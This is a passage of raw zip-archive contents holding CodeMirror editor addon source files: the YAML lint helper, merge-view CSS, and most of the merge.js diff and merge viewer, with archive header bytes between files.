e=b.getOption("gutters"),i=!1,j=0;j<e.length;++j)e[j]==s&&(i=!0);var
k=b.state.lint=new
f(b,g(b,c),i);!1!==k.options.lintOnChange&&b.on("change",p),0!=k.options.tooltips&&"gutter"!=k.options.tooltips&&a.on(b.getWrapperElement(),"mouseover",k.onMouseOver),n(b)}})),a.defineExtension("performLint",(function(){this.state.lint&&n(this)}))}));PK7��[��e��"codemirror/addon/lint/yaml-lint.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

// Depends on js-yaml.js from https://github.com/nodeca/js-yaml

// declare global: jsyaml

CodeMirror.registerHelper("lint", "yaml",
function(text) {
  var found = [];
  if (!window.jsyaml) {
    if (window.console) {
      window.console.error("Error: window.jsyaml not defined,
CodeMirror YAML linting cannot run.");
    }
    return found;
  }
  try { jsyaml.loadAll(text); }
  catch(e) {
      var loc = e.mark,
          // js-yaml YAMLException doesn't always provide an accurate
lineno
          // e.g., when there are multiple yaml docs
          // ---
          // ---
          // foo:bar
          from = loc ? CodeMirror.Pos(loc.line, loc.column) :
CodeMirror.Pos(0, 0),
          to = from;
      found.push({ from: from, to: to, message: e.message });
  }
  return found;
});

});
PK8��[��bi!!&codemirror/addon/lint/yaml-lint.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.registerHelper("lint","yaml",(function(b){var
c=[];if(!window.jsyaml)return
window.console&&window.console.error("Error: window.jsyaml not
defined, CodeMirror YAML linting cannot
run."),c;try{jsyaml.loadAll(b)}catch(b){var
d=b.mark,e=d?a.Pos(d.line,d.column):a.Pos(0,0),f=e;c.push({from:e,to:f,message:b.message})}return
c}))}));PK8��[��E�_
_
codemirror/addon/merge/merge.cssnu�[���.CodeMirror-merge {
  position: relative;
  border: 1px solid #ddd;
  white-space: pre;
}

.CodeMirror-merge, .CodeMirror-merge .CodeMirror {
  height: 350px;
}

.CodeMirror-merge-2pane .CodeMirror-merge-pane { width: 47%; }
.CodeMirror-merge-2pane .CodeMirror-merge-gap { width: 6%; }
.CodeMirror-merge-3pane .CodeMirror-merge-pane { width: 31%; }
.CodeMirror-merge-3pane .CodeMirror-merge-gap { width: 3.5%; }

.CodeMirror-merge-pane {
  display: inline-block;
  white-space: normal;
  vertical-align: top;
}
.CodeMirror-merge-pane-rightmost {
  position: absolute;
  right: 0px;
  z-index: 1;
}

.CodeMirror-merge-gap {
  z-index: 2;
  display: inline-block;
  height: 100%;
  -moz-box-sizing: border-box;
  box-sizing: border-box;
  overflow: hidden;
  border-left: 1px solid #ddd;
  border-right: 1px solid #ddd;
  position: relative;
  background: #f8f8f8;
}

.CodeMirror-merge-scrolllock-wrap {
  position: absolute;
  bottom: 0; left: 50%;
}
.CodeMirror-merge-scrolllock {
  position: relative;
  left: -50%;
  cursor: pointer;
  color: #555;
  line-height: 1;
}
.CodeMirror-merge-scrolllock:after {
  content: "\21db\00a0\00a0\21da";
}
.CodeMirror-merge-scrolllock.CodeMirror-merge-scrolllock-enabled:after {
  content: "\21db\21da";
}

.CodeMirror-merge-copybuttons-left, .CodeMirror-merge-copybuttons-right {
  position: absolute;
  left: 0; top: 0;
  right: 0; bottom: 0;
  line-height: 1;
}

.CodeMirror-merge-copy {
  position: absolute;
  cursor: pointer;
  color: #44c;
  z-index: 3;
}

.CodeMirror-merge-copy-reverse {
  position: absolute;
  cursor: pointer;
  color: #44c;
}

.CodeMirror-merge-copybuttons-left .CodeMirror-merge-copy { left: 2px; }
.CodeMirror-merge-copybuttons-right .CodeMirror-merge-copy { right: 2px; }

.CodeMirror-merge-r-inserted, .CodeMirror-merge-l-inserted {
  background-image:
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12MwuCXy3+CWyH8GBgYGJgYkAABZbAQ9ELXurwAAAABJRU5ErkJggg==);
  background-position: bottom left;
  background-repeat: repeat-x;
}

.CodeMirror-merge-r-deleted, .CodeMirror-merge-l-deleted {
  background-image:
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12M4Kyb2/6yY2H8GBgYGJgYkAABURgPz6Ks7wQAAAABJRU5ErkJggg==);
  background-position: bottom left;
  background-repeat: repeat-x;
}

.CodeMirror-merge-r-chunk { background: #ffffe0; }
.CodeMirror-merge-r-chunk-start { border-top: 1px solid #ee8; }
.CodeMirror-merge-r-chunk-end { border-bottom: 1px solid #ee8; }
.CodeMirror-merge-r-connect { fill: #ffffe0; stroke: #ee8; stroke-width:
1px; }

.CodeMirror-merge-l-chunk { background: #eef; }
.CodeMirror-merge-l-chunk-start { border-top: 1px solid #88e; }
.CodeMirror-merge-l-chunk-end { border-bottom: 1px solid #88e; }
.CodeMirror-merge-l-connect { fill: #eef; stroke: #88e; stroke-width: 1px;
}

.CodeMirror-merge-l-chunk.CodeMirror-merge-r-chunk { background: #dfd; }
.CodeMirror-merge-l-chunk-start.CodeMirror-merge-r-chunk-start {
border-top: 1px solid #4e4; }
.CodeMirror-merge-l-chunk-end.CodeMirror-merge-r-chunk-end { border-bottom:
1px solid #4e4; }

.CodeMirror-merge-collapsed-widget:before {
  content: "(...)";
}
.CodeMirror-merge-collapsed-widget {
  cursor: pointer;
  color: #88b;
  background: #eef;
  border: 1px solid #ddf;
  font-size: 90%;
  padding: 0 3px;
  border-radius: 4px;
}
.CodeMirror-merge-collapsed-line .CodeMirror-gutter-elt { display: none; }
PK8��[6��=��codemirror/addon/merge/merge.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

// declare global: diff_match_patch, DIFF_INSERT, DIFF_DELETE, DIFF_EQUAL

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror")); // Note non-packaged
dependency diff_match_patch
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror",
"diff_match_patch"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";
  var Pos = CodeMirror.Pos;
  var svgNS = "http://www.w3.org/2000/svg";

  function DiffView(mv, type) {
    this.mv = mv;
    this.type = type;
    this.classes = type == "left"
      ? {chunk: "CodeMirror-merge-l-chunk",
         start: "CodeMirror-merge-l-chunk-start",
         end: "CodeMirror-merge-l-chunk-end",
         insert: "CodeMirror-merge-l-inserted",
         del: "CodeMirror-merge-l-deleted",
         connect: "CodeMirror-merge-l-connect"}
      : {chunk: "CodeMirror-merge-r-chunk",
         start: "CodeMirror-merge-r-chunk-start",
         end: "CodeMirror-merge-r-chunk-end",
         insert: "CodeMirror-merge-r-inserted",
         del: "CodeMirror-merge-r-deleted",
         connect: "CodeMirror-merge-r-connect"};
  }

  DiffView.prototype = {
    constructor: DiffView,
    init: function(pane, orig, options) {
      this.edit = this.mv.edit;
      ;(this.edit.state.diffViews || (this.edit.state.diffViews =
[])).push(this);
      this.orig = CodeMirror(pane, copyObj({value: orig, readOnly:
!this.mv.options.allowEditingOriginals}, copyObj(options)));
      if (this.mv.options.connect == "align") {
        if (!this.edit.state.trackAlignable) this.edit.state.trackAlignable
= new TrackAlignable(this.edit)
        this.orig.state.trackAlignable = new TrackAlignable(this.orig)
      }
      this.lockButton.title = this.edit.phrase("Toggle locked
scrolling");

      this.orig.state.diffViews = [this];
      var classLocation = options.chunkClassLocation ||
"background";
      if (Object.prototype.toString.call(classLocation) != "[object
Array]") classLocation = [classLocation]
      this.classes.classLocation = classLocation

      this.diff = getDiff(asString(orig), asString(options.value),
this.mv.options.ignoreWhitespace);
      this.chunks = getChunks(this.diff);
      this.diffOutOfDate = this.dealigned = false;
      this.needsScrollSync = null

      this.showDifferences = options.showDifferences !== false;
    },
    registerEvents: function(otherDv) {
      this.forceUpdate = registerUpdate(this);
      setScrollLock(this, true, false);
      registerScroll(this, otherDv);
    },
    setShowDifferences: function(val) {
      val = val !== false;
      if (val != this.showDifferences) {
        this.showDifferences = val;
        this.forceUpdate("full");
      }
    }
  };

  function ensureDiff(dv) {
    if (dv.diffOutOfDate) {
      dv.diff = getDiff(dv.orig.getValue(), dv.edit.getValue(),
dv.mv.options.ignoreWhitespace);
      dv.chunks = getChunks(dv.diff);
      dv.diffOutOfDate = false;
      CodeMirror.signal(dv.edit, "updateDiff", dv.diff);
    }
  }

  var updating = false;
  function registerUpdate(dv) {
    var edit = {from: 0, to: 0, marked: []};
    var orig = {from: 0, to: 0, marked: []};
    var debounceChange, updatingFast = false;
    function update(mode) {
      updating = true;
      updatingFast = false;
      if (mode == "full") {
        if (dv.svg) clear(dv.svg);
        if (dv.copyButtons) clear(dv.copyButtons);
        clearMarks(dv.edit, edit.marked, dv.classes);
        clearMarks(dv.orig, orig.marked, dv.classes);
        edit.from = edit.to = orig.from = orig.to = 0;
      }
      ensureDiff(dv);
      if (dv.showDifferences) {
        updateMarks(dv.edit, dv.diff, edit, DIFF_INSERT, dv.classes);
        updateMarks(dv.orig, dv.diff, orig, DIFF_DELETE, dv.classes);
      }

      if (dv.mv.options.connect == "align")
        alignChunks(dv);
      makeConnections(dv);
      if (dv.needsScrollSync != null) syncScroll(dv, dv.needsScrollSync)

      updating = false;
    }
    function setDealign(fast) {
      if (updating) return;
      dv.dealigned = true;
      set(fast);
    }
    function set(fast) {
      if (updating || updatingFast) return;
      clearTimeout(debounceChange);
      if (fast === true) updatingFast = true;
      debounceChange = setTimeout(update, fast === true ? 20 : 250);
    }
    function change(_cm, change) {
      if (!dv.diffOutOfDate) {
        dv.diffOutOfDate = true;
        edit.from = edit.to = orig.from = orig.to = 0;
      }
      // Update faster when a line was added/removed
      setDealign(change.text.length - 1 != change.to.line -
change.from.line);
    }
    function swapDoc() {
      dv.diffOutOfDate = true;
      dv.dealigned = true;
      update("full");
    }
    dv.edit.on("change", change);
    dv.orig.on("change", change);
    dv.edit.on("swapDoc", swapDoc);
    dv.orig.on("swapDoc", swapDoc);
    if (dv.mv.options.connect == "align") {
      CodeMirror.on(dv.edit.state.trackAlignable, "realign",
setDealign)
      CodeMirror.on(dv.orig.state.trackAlignable, "realign",
setDealign)
    }
    dv.edit.on("viewportChange", function() { set(false); });
    dv.orig.on("viewportChange", function() { set(false); });
    update();
    return update;
  }

  function registerScroll(dv, otherDv) {
    dv.edit.on("scroll", function() {
      syncScroll(dv, true) && makeConnections(dv);
    });
    dv.orig.on("scroll", function() {
      syncScroll(dv, false) && makeConnections(dv);
      if (otherDv) syncScroll(otherDv, true) &&
makeConnections(otherDv);
    });
  }

  function syncScroll(dv, toOrig) {
    // Change handler will do a refresh after a timeout when diff is out of
date
    if (dv.diffOutOfDate) {
      if (dv.lockScroll && dv.needsScrollSync == null)
dv.needsScrollSync = toOrig
      return false
    }
    dv.needsScrollSync = null
    if (!dv.lockScroll) return true;
    var editor, other, now = +new Date;
    if (toOrig) { editor = dv.edit; other = dv.orig; }
    else { editor = dv.orig; other = dv.edit; }
    // Don't take action if the position of this editor was recently
set
    // (to prevent feedback loops)
    if (editor.state.scrollSetBy == dv && (editor.state.scrollSetAt
|| 0) + 250 > now) return false;

    var sInfo = editor.getScrollInfo();
    if (dv.mv.options.connect == "align") {
      targetPos = sInfo.top;
    } else {
      var halfScreen = .5 * sInfo.clientHeight, midY = sInfo.top +
halfScreen;
      var mid = editor.lineAtHeight(midY, "local");
      var around = chunkBoundariesAround(dv.chunks, mid, toOrig);
      var off = getOffsets(editor, toOrig ? around.edit : around.orig);
      var offOther = getOffsets(other, toOrig ? around.orig : around.edit);
      var ratio = (midY - off.top) / (off.bot - off.top);
      var targetPos = (offOther.top - halfScreen) + ratio * (offOther.bot -
offOther.top);

      var botDist, mix;
      // Some careful tweaking to make sure no space is left out of view
      // when scrolling to top or bottom.
      if (targetPos > sInfo.top && (mix = sInfo.top /
halfScreen) < 1) {
        targetPos = targetPos * mix + sInfo.top * (1 - mix);
      } else if ((botDist = sInfo.height - sInfo.clientHeight - sInfo.top)
< halfScreen) {
        var otherInfo = other.getScrollInfo();
        var botDistOther = otherInfo.height - otherInfo.clientHeight -
targetPos;
        if (botDistOther > botDist && (mix = botDist /
halfScreen) < 1)
          targetPos = targetPos * mix + (otherInfo.height -
otherInfo.clientHeight - botDist) * (1 - mix);
      }
    }

    other.scrollTo(sInfo.left, targetPos);
    other.state.scrollSetAt = now;
    other.state.scrollSetBy = dv;
    return true;
  }

  function getOffsets(editor, around) {
    var bot = around.after;
    if (bot == null) bot = editor.lastLine() + 1;
    return {top: editor.heightAtLine(around.before || 0,
"local"),
            bot: editor.heightAtLine(bot, "local")};
  }

  function setScrollLock(dv, val, action) {
    dv.lockScroll = val;
    if (val && action != false) syncScroll(dv, DIFF_INSERT)
&& makeConnections(dv);
    (val ? CodeMirror.addClass : CodeMirror.rmClass)(dv.lockButton,
"CodeMirror-merge-scrolllock-enabled");
  }

  // Updating the marks for editor content

  function removeClass(editor, line, classes) {
    var locs = classes.classLocation
    for (var i = 0; i < locs.length; i++) {
      editor.removeLineClass(line, locs[i], classes.chunk);
      editor.removeLineClass(line, locs[i], classes.start);
      editor.removeLineClass(line, locs[i], classes.end);
    }
  }

  function clearMarks(editor, arr, classes) {
    for (var i = 0; i < arr.length; ++i) {
      var mark = arr[i];
      if (mark instanceof CodeMirror.TextMarker)
        mark.clear();
      else if (mark.parent)
        removeClass(editor, mark, classes);
    }
    arr.length = 0;
  }

  // FIXME maybe add a margin around viewport to prevent too many updates
  function updateMarks(editor, diff, state, type, classes) {
    var vp = editor.getViewport();
    editor.operation(function() {
      if (state.from == state.to || vp.from - state.to > 20 ||
state.from - vp.to > 20) {
        clearMarks(editor, state.marked, classes);
        markChanges(editor, diff, type, state.marked, vp.from, vp.to,
classes);
        state.from = vp.from; state.to = vp.to;
      } else {
        if (vp.from < state.from) {
          markChanges(editor, diff, type, state.marked, vp.from,
state.from, classes);
          state.from = vp.from;
        }
        if (vp.to > state.to) {
          markChanges(editor, diff, type, state.marked, state.to, vp.to,
classes);
          state.to = vp.to;
        }
      }
    });
  }

  function addClass(editor, lineNr, classes, main, start, end) {
    var locs = classes.classLocation, line = editor.getLineHandle(lineNr);
    for (var i = 0; i < locs.length; i++) {
      if (main) editor.addLineClass(line, locs[i], classes.chunk);
      if (start) editor.addLineClass(line, locs[i], classes.start);
      if (end) editor.addLineClass(line, locs[i], classes.end);
    }
    return line;
  }

  function markChanges(editor, diff, type, marks, from, to, classes) {
    var pos = Pos(0, 0);
    var top = Pos(from, 0), bot = editor.clipPos(Pos(to - 1));
    var cls = type == DIFF_DELETE ? classes.del : classes.insert;
    function markChunk(start, end) {
      var bfrom = Math.max(from, start), bto = Math.min(to, end);
      for (var i = bfrom; i < bto; ++i)
        marks.push(addClass(editor, i, classes, true, i == start, i == end
- 1));
      // When the chunk is empty, make sure a horizontal line shows up
      if (start == end && bfrom == end && bto == end) {
        if (bfrom)
          marks.push(addClass(editor, bfrom - 1, classes, false, false,
true));
        else
          marks.push(addClass(editor, bfrom, classes, false, true, false));
      }
    }

    var chunkStart = 0, pending = false;
    for (var i = 0; i < diff.length; ++i) {
      var part = diff[i], tp = part[0], str = part[1];
      if (tp == DIFF_EQUAL) {
        var cleanFrom = pos.line + (startOfLineClean(diff, i) ? 0 : 1);
        moveOver(pos, str);
        var cleanTo = pos.line + (endOfLineClean(diff, i) ? 1 : 0);
        if (cleanTo > cleanFrom) {
          if (pending) { markChunk(chunkStart, cleanFrom); pending = false
}
          chunkStart = cleanTo;
        }
      } else {
        pending = true
        if (tp == type) {
          var end = moveOver(pos, str, true);
          var a = posMax(top, pos), b = posMin(bot, end);
          if (!posEq(a, b))
            marks.push(editor.markText(a, b, {className: cls}));
          pos = end;
        }
      }
    }
    if (pending) markChunk(chunkStart, pos.line + 1);
  }

  // Updating the gap between editor and original

  function makeConnections(dv) {
    if (!dv.showDifferences) return;

    if (dv.svg) {
      clear(dv.svg);
      var w = dv.gap.offsetWidth;
      attrs(dv.svg, "width", w, "height",
dv.gap.offsetHeight);
    }
    if (dv.copyButtons) clear(dv.copyButtons);

    var vpEdit = dv.edit.getViewport(), vpOrig = dv.orig.getViewport();
    var outerTop = dv.mv.wrap.getBoundingClientRect().top
    var sTopEdit = outerTop -
dv.edit.getScrollerElement().getBoundingClientRect().top +
dv.edit.getScrollInfo().top
    var sTopOrig = outerTop -
dv.orig.getScrollerElement().getBoundingClientRect().top +
dv.orig.getScrollInfo().top;
    for (var i = 0; i < dv.chunks.length; i++) {
      var ch = dv.chunks[i];
      if (ch.editFrom <= vpEdit.to && ch.editTo >=
vpEdit.from &&
          ch.origFrom <= vpOrig.to && ch.origTo >=
vpOrig.from)
        drawConnectorsForChunk(dv, ch, sTopOrig, sTopEdit, w);
    }
  }

  function getMatchingOrigLine(editLine, chunks) {
    var editStart = 0, origStart = 0;
    for (var i = 0; i < chunks.length; i++) {
      var chunk = chunks[i];
      if (chunk.editTo > editLine && chunk.editFrom <=
editLine) return null;
      if (chunk.editFrom > editLine) break;
      editStart = chunk.editTo;
      origStart = chunk.origTo;
    }
    return origStart + (editLine - editStart);
  }

  // Combines information about chunks and widgets/markers to return
  // an array of lines, in a single editor, that probably need to be
  // aligned with their counterparts in the editor next to it.
  function alignableFor(cm, chunks, isOrig) {
    var tracker = cm.state.trackAlignable
    var start = cm.firstLine(), trackI = 0
    var result = []
    for (var i = 0;; i++) {
      var chunk = chunks[i]
      var chunkStart = !chunk ? 1e9 : isOrig ? chunk.origFrom :
chunk.editFrom
      for (; trackI < tracker.alignable.length; trackI += 2) {
        var n = tracker.alignable[trackI] + 1
        if (n <= start) continue
        if (n <= chunkStart) result.push(n)
        else break
      }
      if (!chunk) break
      result.push(start = isOrig ? chunk.origTo : chunk.editTo)
    }
    return result
  }

  // Given information about alignable lines in two editors, fill in
  // the result (an array of three-element arrays) to reflect the
  // lines that need to be aligned with each other.
  function mergeAlignable(result, origAlignable, chunks, setIndex) {
    var rI = 0, origI = 0, chunkI = 0, diff = 0
    outer: for (;; rI++) {
      var nextR = result[rI], nextO = origAlignable[origI]
      if (!nextR && nextO == null) break

      var rLine = nextR ? nextR[0] : 1e9, oLine = nextO == null ? 1e9 :
nextO
      while (chunkI < chunks.length) {
        var chunk = chunks[chunkI]
        if (chunk.origFrom <= oLine && chunk.origTo > oLine)
{
          origI++
          rI--
          continue outer;
        }
        if (chunk.editTo > rLine) {
          if (chunk.editFrom <= rLine) continue outer;
          break
        }
        diff += (chunk.origTo - chunk.origFrom) - (chunk.editTo -
chunk.editFrom)
        chunkI++
      }
      if (rLine == oLine - diff) {
        nextR[setIndex] = oLine
        origI++
      } else if (rLine < oLine - diff) {
        nextR[setIndex] = rLine + diff
      } else {
        var record = [oLine - diff, null, null]
        record[setIndex] = oLine
        result.splice(rI, 0, record)
        origI++
      }
    }
  }

  function findAlignedLines(dv, other) {
    var alignable = alignableFor(dv.edit, dv.chunks, false), result = []
    if (other) for (var i = 0, j = 0; i < other.chunks.length; i++) {
      var n = other.chunks[i].editTo
      while (j < alignable.length && alignable[j] < n) j++
      if (j == alignable.length || alignable[j] != n) alignable.splice(j++,
0, n)
    }
    for (var i = 0; i < alignable.length; i++)
      result.push([alignable[i], null, null])

    mergeAlignable(result, alignableFor(dv.orig, dv.chunks, true),
dv.chunks, 1)
    if (other)
      mergeAlignable(result, alignableFor(other.orig, other.chunks, true),
other.chunks, 2)

    return result
  }

  function alignChunks(dv, force) {
    if (!dv.dealigned && !force) return;
    if (!dv.orig.curOp) return dv.orig.operation(function() {
      alignChunks(dv, force);
    });

    dv.dealigned = false;
    var other = dv.mv.left == dv ? dv.mv.right : dv.mv.left;
    if (other) {
      ensureDiff(other);
      other.dealigned = false;
    }
    var linesToAlign = findAlignedLines(dv, other);

    // Clear old aligners
    var aligners = dv.mv.aligners;
    for (var i = 0; i < aligners.length; i++)
      aligners[i].clear();
    aligners.length = 0;

    var cm = [dv.edit, dv.orig], scroll = [], offset = []
    if (other) cm.push(other.orig);
    for (var i = 0; i < cm.length; i++) {
      scroll.push(cm[i].getScrollInfo().top);
      offset.push(-cm[i].getScrollerElement().getBoundingClientRect().top)
    }

    if (offset[0] != offset[1] || cm.length == 3 && offset[1] !=
offset[2])
      alignLines(cm, offset, [0, 0, 0], aligners)
    for (var ln = 0; ln < linesToAlign.length; ln++)
      alignLines(cm, offset, linesToAlign[ln], aligners);

    for (var i = 0; i < cm.length; i++)
      cm[i].scrollTo(null, scroll[i]);
  }

  function alignLines(cm, cmOffset, lines, aligners) {
    var maxOffset = -1e8, offset = [];
    for (var i = 0; i < cm.length; i++) if (lines[i] != null) {
      var off = cm[i].heightAtLine(lines[i], "local") -
cmOffset[i];
      offset[i] = off;
      maxOffset = Math.max(maxOffset, off);
    }
    for (var i = 0; i < cm.length; i++) if (lines[i] != null) {
      var diff = maxOffset - offset[i];
      if (diff > 1)
        aligners.push(padAbove(cm[i], lines[i], diff));
    }
  }

  function padAbove(cm, line, size) {
    var above = true;
    if (line > cm.lastLine()) {
      line--;
      above = false;
    }
    var elt = document.createElement("div");
    elt.className = "CodeMirror-merge-spacer";
    elt.style.height = size + "px"; elt.style.minWidth =
"1px";
    return cm.addLineWidget(line, elt, {height: size, above: above,
mergeSpacer: true, handleMouseEvents: true});
  }

  function drawConnectorsForChunk(dv, chunk, sTopOrig, sTopEdit, w) {
    var flip = dv.type == "left";
    var top = dv.orig.heightAtLine(chunk.origFrom, "local", true)
- sTopOrig;
    if (dv.svg) {
      var topLpx = top;
      var topRpx = dv.edit.heightAtLine(chunk.editFrom, "local",
true) - sTopEdit;
      if (flip) { var tmp = topLpx; topLpx = topRpx; topRpx = tmp; }
      var botLpx = dv.orig.heightAtLine(chunk.origTo, "local",
true) - sTopOrig;
      var botRpx = dv.edit.heightAtLine(chunk.editTo, "local",
true) - sTopEdit;
      if (flip) { var tmp = botLpx; botLpx = botRpx; botRpx = tmp; }
      var curveTop = " C " + w/2 + " " + topRpx +
" " + w/2 + " " + topLpx + " " + (w + 2) +
" " + topLpx;
      var curveBot = " C " + w/2 + " " + botLpx +
" " + w/2 + " " + botRpx + " -1 " + botRpx;
      attrs(dv.svg.appendChild(document.createElementNS(svgNS,
"path")),
            "d", "M -1 " + topRpx + curveTop + " L
" + (w + 2) + " " + botLpx + curveBot + " z",
            "class", dv.classes.connect);
    }
    if (dv.copyButtons) {
      var copy = dv.copyButtons.appendChild(elt("div", dv.type ==
"left" ? "\u21dd" : "\u21dc",
                                               
"CodeMirror-merge-copy"));
      var editOriginals = dv.mv.options.allowEditingOriginals;
      copy.title = dv.edit.phrase(editOriginals ? "Push to left"
: "Revert chunk");
      copy.chunk = chunk;
      copy.style.top = (chunk.origTo > chunk.origFrom ? top :
dv.edit.heightAtLine(chunk.editFrom, "local") - sTopEdit) +
"px";

      if (editOriginals) {
        var topReverse = dv.edit.heightAtLine(chunk.editFrom,
"local") - sTopEdit;
        var copyReverse = dv.copyButtons.appendChild(elt("div",
dv.type == "right" ? "\u21dd" : "\u21dc",
                                                        
"CodeMirror-merge-copy-reverse"));
        copyReverse.title = "Push to right";
        copyReverse.chunk = {editFrom: chunk.origFrom, editTo:
chunk.origTo,
                             origFrom: chunk.editFrom, origTo:
chunk.editTo};
        copyReverse.style.top = topReverse + "px";
        dv.type == "right" ? copyReverse.style.left =
"2px" : copyReverse.style.right = "2px";
      }
    }
  }

  function copyChunk(dv, to, from, chunk) {
    if (dv.diffOutOfDate) return;
    var origStart = chunk.origTo > from.lastLine() ? Pos(chunk.origFrom
- 1) : Pos(chunk.origFrom, 0)
    var origEnd = Pos(chunk.origTo, 0)
    var editStart = chunk.editTo > to.lastLine() ? Pos(chunk.editFrom -
1) : Pos(chunk.editFrom, 0)
    var editEnd = Pos(chunk.editTo, 0)
    var handler = dv.mv.options.revertChunk
    if (handler)
      handler(dv.mv, from, origStart, origEnd, to, editStart, editEnd)
    else
      to.replaceRange(from.getRange(origStart, origEnd), editStart,
editEnd)
  }

  // Merge view, containing 0, 1, or 2 diff views.

  var MergeView = CodeMirror.MergeView = function(node, options) {
    if (!(this instanceof MergeView)) return new MergeView(node, options);

    this.options = options;
    var origLeft = options.origLeft, origRight = options.origRight == null
? options.orig : options.origRight;

    var hasLeft = origLeft != null, hasRight = origRight != null;
    var panes = 1 + (hasLeft ? 1 : 0) + (hasRight ? 1 : 0);
    var wrap = [], left = this.left = null, right = this.right = null;
    var self = this;

    if (hasLeft) {
      left = this.left = new DiffView(this, "left");
      var leftPane = elt("div", null, "CodeMirror-merge-pane
CodeMirror-merge-left");
      wrap.push(leftPane);
      wrap.push(buildGap(left));
    }

    var editPane = elt("div", null, "CodeMirror-merge-pane
CodeMirror-merge-editor");
    wrap.push(editPane);

    if (hasRight) {
      right = this.right = new DiffView(this, "right");
      wrap.push(buildGap(right));
      var rightPane = elt("div", null,
"CodeMirror-merge-pane CodeMirror-merge-right");
      wrap.push(rightPane);
    }

    (hasRight ? rightPane : editPane).className += "
CodeMirror-merge-pane-rightmost";

    wrap.push(elt("div", null, null, "height: 0; clear:
both;"));

    var wrapElt = this.wrap = node.appendChild(elt("div", wrap,
"CodeMirror-merge CodeMirror-merge-" + panes +
"pane"));
    this.edit = CodeMirror(editPane, copyObj(options));

    if (left) left.init(leftPane, origLeft, options);
    if (right) right.init(rightPane, origRight, options);
    if (options.collapseIdentical)
      this.editor().operation(function() {
        collapseIdenticalStretches(self, options.collapseIdentical);
      });
    if (options.connect == "align") {
      this.aligners = [];
      alignChunks(this.left || this.right, true);
    }
    if (left) left.registerEvents(right)
    if (right) right.registerEvents(left)


    var onResize = function() {
      if (left) makeConnections(left);
      if (right) makeConnections(right);
    };
    CodeMirror.on(window, "resize", onResize);
    var resizeInterval = setInterval(function() {
      for (var p = wrapElt.parentNode; p && p != document.body; p =
p.parentNode) {}
      if (!p) { clearInterval(resizeInterval); CodeMirror.off(window,
"resize", onResize); }
    }, 5000);
  };

  function buildGap(dv) {
    var lock = dv.lockButton = elt("div", null,
"CodeMirror-merge-scrolllock");
    var lockWrap = elt("div", [lock],
"CodeMirror-merge-scrolllock-wrap");
    CodeMirror.on(lock, "click", function() { setScrollLock(dv,
!dv.lockScroll); });
    var gapElts = [lockWrap];
    if (dv.mv.options.revertButtons !== false) {
      dv.copyButtons = elt("div", null,
"CodeMirror-merge-copybuttons-" + dv.type);
      CodeMirror.on(dv.copyButtons, "click", function(e) {
        var node = e.target || e.srcElement;
        if (!node.chunk) return;
        if (node.className == "CodeMirror-merge-copy-reverse") {
          copyChunk(dv, dv.orig, dv.edit, node.chunk);
          return;
        }
        copyChunk(dv, dv.edit, dv.orig, node.chunk);
      });
      gapElts.unshift(dv.copyButtons);
    }
    if (dv.mv.options.connect != "align") {
      var svg = document.createElementNS &&
document.createElementNS(svgNS, "svg");
      if (svg && !svg.createSVGRect) svg = null;
      dv.svg = svg;
      if (svg) gapElts.push(svg);
    }

    return dv.gap = elt("div", gapElts,
"CodeMirror-merge-gap");
  }

  MergeView.prototype = {
    constructor: MergeView,
    editor: function() { return this.edit; },
    rightOriginal: function() { return this.right &&
this.right.orig; },
    leftOriginal: function() { return this.left && this.left.orig;
},
    setShowDifferences: function(val) {
      if (this.right) this.right.setShowDifferences(val);
      if (this.left) this.left.setShowDifferences(val);
    },
    rightChunks: function() {
      if (this.right) { ensureDiff(this.right); return this.right.chunks; }
    },
    leftChunks: function() {
      if (this.left) { ensureDiff(this.left); return this.left.chunks; }
    }
  };

  function asString(obj) {
    if (typeof obj == "string") return obj;
    else return obj.getValue();
  }

  // Operations on diffs
  var dmp;
  function getDiff(a, b, ignoreWhitespace) {
    if (!dmp) dmp = new diff_match_patch();

    var diff = dmp.diff_main(a, b);
    // The library sometimes leaves in empty parts, which confuse the
algorithm
    for (var i = 0; i < diff.length; ++i) {
      var part = diff[i];
      if (ignoreWhitespace ? !/[^ \t]/.test(part[1]) : !part[1]) {
        diff.splice(i--, 1);
      } else if (i && diff[i - 1][0] == part[0]) {
        diff.splice(i--, 1);
        diff[i][1] += part[1];
      }
    }
    return diff;
  }

  function getChunks(diff) {
    var chunks = [];
    if (!diff.length) return chunks;
    var startEdit = 0, startOrig = 0;
    var edit = Pos(0, 0), orig = Pos(0, 0);
    for (var i = 0; i < diff.length; ++i) {
      var part = diff[i], tp = part[0];
      if (tp == DIFF_EQUAL) {
        var startOff = !startOfLineClean(diff, i) || edit.line <
startEdit || orig.line < startOrig ? 1 : 0;
        var cleanFromEdit = edit.line + startOff, cleanFromOrig = orig.line
+ startOff;
        moveOver(edit, part[1], null, orig);
        var endOff = endOfLineClean(diff, i) ? 1 : 0;
        var cleanToEdit = edit.line + endOff, cleanToOrig = orig.line +
endOff;
        if (cleanToEdit > cleanFromEdit) {
          if (i) chunks.push({origFrom: startOrig, origTo: cleanFromOrig,
                              editFrom: startEdit, editTo: cleanFromEdit});
          startEdit = cleanToEdit; startOrig = cleanToOrig;
        }
      } else {
        moveOver(tp == DIFF_INSERT ? edit : orig, part[1]);
      }
    }
    if (startEdit <= edit.line || startOrig <= orig.line)
      chunks.push({origFrom: startOrig, origTo: orig.line + 1,
                   editFrom: startEdit, editTo: edit.line + 1});
    return chunks;
  }

  function endOfLineClean(diff, i) {
    if (i == diff.length - 1) return true;
